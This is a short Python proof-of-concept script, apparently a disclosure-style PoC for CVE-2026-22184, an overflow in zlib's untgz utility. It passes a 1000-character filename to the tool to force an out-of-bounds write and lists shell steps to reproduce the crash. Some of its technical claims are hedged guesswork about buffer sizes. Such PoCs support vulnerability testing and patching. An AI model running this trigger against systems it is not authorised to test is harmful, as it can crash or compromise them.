CVE-2026-22184 zlib untgz工具全局缓冲区溢出漏洞

# CVE-2026-22184 PoC - zlib untgz Global Buffer Overflow # Affected: zlib <= 1.3.1.2 (contrib/untgz) # CVSS: 7.8 (High) import subprocess import os import sys def generate_poc(): """ Generate PoC for CVE-2026-22184: zlib untgz global buffer overflow The vulnerability exists in tgzfname function when processing excessively long archive filenames via command line arguments. """ # Create a long filename that exceeds the fixed buffer size # The exact buffer size depends on the implementation, # but typically fixed buffers for filename handling are limited long_filename = "A" * 1000 # 1000 characters to trigger overflow # Try to execute untgz with the long filename # This will cause an out-of-bounds write in the global buffer poc_command = ["./untgz", long_filename] print(f"[*] CVE-2026-22184 PoC") print(f"[*] Target: zlib untgz utility (<= 1.3.1.2)") print(f"[*] Vulnerability: Global buffer overflow in tgzfname function") print(f"[*] Triggering with filename length: {len(long_filename)}") try: # Attempt to execute the vulnerable command result = subprocess.run(poc_command, capture_output=True, timeout=5) print(f"[+] Command executed") print(f"[*] stdout: {result.stdout}") print(f"[*] stderr: {result.stderr}") except subprocess.TimeoutExpired: print(f"[!] Command timed out - possible crash detected") except FileNotFoundError: print(f"[!] untgz binary not found - compile from affected zlib source") except Exception as e: print(f"[!] Error: {e}") return long_filename def verify_vulnerability(): """ Additional verification steps for the vulnerability """ print("\n[*] Verification Steps:") print("1. Download zlib <= 1.3.1.2 from https://zlib.net/") print("2. Extract and compile: ./configure && make") print("3. Navigate to contrib/untgz directory") print("4. Compile untgz: make") print("5. Run: ./untgz $(python3 -c 'print(\"A\"*1000)')") print("6. Observe potential crash or unexpected behavior") if __name__ == "__main__": generate_poc() verify_vulnerability()